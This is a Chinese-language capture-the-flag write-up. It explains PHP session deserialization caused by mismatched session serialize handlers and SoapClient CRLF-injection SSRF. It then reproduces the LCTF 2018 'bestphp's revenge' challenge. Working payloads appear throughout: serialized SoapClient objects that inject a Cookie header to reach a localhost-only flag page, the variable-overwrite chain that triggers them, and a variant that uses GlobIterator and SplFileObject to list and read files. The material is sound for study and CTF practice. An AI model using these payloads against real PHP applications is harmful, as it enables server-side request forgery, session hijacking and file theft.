当用户首次访问一个服务器,如果该服务器开启了Session(使用Seesion_start()函数开启),服务器将生成一个唯一PHPSESSID,同时创建一个以sess_PHPSESSID
命名的文件用于存储会话信息。并在HTTP响应中通过 Set-cookie:PHPSESSID
将PHPSESSID发送给用户。当用户再次访问时Session_start()
函数就不会再去分配一个新的PHPSESSID,而是在服务器中去寻找以sess_PHPSESSID
命名的文件,将文件保存的序列化信息进行反序列化并读出。
导致session反序列化攻击的原因:
PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
当序列化和反序列化所使用的处理器不同,就可能产生反序列化漏洞。
默认处理器是php,可通过配置session.serialize_handler选项,来设置序列化及反序列化时使用的处理器。
ini_set('session.serialize_handler', 'php_serialize');
当序列化时使用php_serialize处理器,反序列化时使用php处理器将产生问题。
php_serialize处理器序列化
<?php
//使用php_serialize处理器序列化
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test']='|O:4:"test":1:{s:1:"s";s:10:"helloworld";}';
php_serialize处理器序列化后的数据
a:1:{s:4:"test";s:42:"|O:4:"test":1:{s:1:"s";s:10:"helloworld";}";}
php处理器反序列化
将|前的字符串当键名|后的字符串当需要反序列化的字符串,反序列化后的数据:
array(1) {
["a:1:{s:4:"test";s:42:""]=>
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
["s"]=>
string(10) "helloworld"
}
}
SoapClient+crlf进行SSRF
SoapClient原生类介绍:
SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。
public __construct(?string $wsdl, array $options = [])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location为目标服务器的URL,而uri 是SOAP服务的目标命名空间。
通常情况下我们会让目标服务器去反序列化我们构造好的SoapClient类,然后调用一个该类中不存在的方法,以此来执行SoapClient类的__call方法使目标服务器发送HTTP请求到我们构造SoapClient类时传入的location来完成ssrf。
[LCTF 2018]bestphp's revenge复现:
网站源码:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
可通过call_user_func()
设置session.serialize_handler为php_serialize处理器。
call_user_func("session_start",array("serialize_handler","php_serialize"));
可通过$_SESSION['name'] = $_GET['name'];
来控制需要反序列化的数据。
flag.php:
直接访问flag.php,提示需要本地访问, 可通过SoapClient进行ssrf
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
SoapClient ssrf payload:
$soapClient = new SoapClient(null,array(
'location' => 'http://127.0.0.1/flag.php',
'user_agent' => "ua\r\nCookie:PHPSESSID=dr070uad9oc4j1encvf4dncn14\r\n", 'uri' => 'test'));
var_dump("|".urlencode(serialize($soapClient)));
先将构造好的序列化后的SoapClient通过php_serialize
处理器存入服务器的sess_PHPSESSID
文件中。当我们再次带上相同PHPSESSID
直接访问时该网站时,服务器使用默认php处理器将该文件内容进行反序列化,赋值给$_SESSION。
接下来该去调用SoapClient类不存在的方法来触发__call方法,发送HTTP请求到http://127.0.0.1/flag.php该请求应该带上我们的PHPSESSID
这样获取的flag就存入了我们的$_SESSION
中。
这里f传入extract进行变量覆盖,name传入SoapClient ,post传入b=call_user_func,那么这样call_user_func($b, $a);就变成了call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,那么这里就变成了调用SoapClient类中不存在的welcome_to_the_lctf2018方法从而去触发_call方法发起soap请求进行ssrf。
最后带上PHPSESSID
直接访问时该网站,获取$_SESSION。
利用原生类找文件与读文件。
<?php
// $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$b = serialize($a);
echo '|'.urlencode($b);